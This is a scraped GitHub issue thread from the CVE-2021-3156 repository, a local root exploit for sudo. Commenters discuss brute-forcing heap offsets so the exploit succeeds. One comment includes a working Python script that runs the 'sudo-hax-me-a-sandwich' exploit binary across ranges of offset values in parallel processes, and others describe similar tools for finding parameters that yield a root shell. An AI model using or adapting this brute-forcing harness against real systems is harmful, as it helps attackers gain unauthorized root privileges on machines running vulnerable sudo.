Coder Social home page Coder Social logo

Comments (3)

blasty avatar blasty commented on August 23, 2024 3

The main branch now has some small wrapper script to try multi-threaded bruting (instructions in README)

from cve-2021-3156.

TheZ3ro avatar TheZ3ro commented on August 23, 2024 1

Hi,
I've just pushed #9 that allow manual definition of offsets from args,
this way you can do a "dumb" bruteforce by doing somethink like the python code below.

don't expect great result cause finding correct offset usually takes some trial and error

from multiprocessing import Pool
import itertools
import subprocess

def fuzz(a):
    w,x,y,z = a
    try:
        print("calling with {} {} {} {}".format(w,x,y,z))
        out = subprocess.check_output("./sudo-hax-me-a-sandwich {} {} {} {} 2>&1".format(w,x,y,z), shell=True)
    except subprocess.CalledProcessError as e:
        out = str(e)
        pass
    return out

if __name__ == '__main__':
    with Pool(5) as p:
        print(p.map(fuzz, itertools.product(range(40,70), range(40,70), range(50,70), range(200,220))))

from cve-2021-3156.

wereii avatar wereii commented on August 23, 2024

Yesterday I made one bruteforcing thingy myself, though I also used custom lib that would exit() with distinct return code so I can exactly pin point which params/smash lengths get the pwn.

As I see you guys have already picked up on bruteforcing, my script isn't doing multiprocessing (it should) but hey it works.
Just saying it's there.

@TheZ3ro I see you have already noticed, I am planning to do parallelization (probably with asyncio as you can simply spawn bunch of the processes with timeouts and pick up on their statuses after, should work afaik).

from cve-2021-3156.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.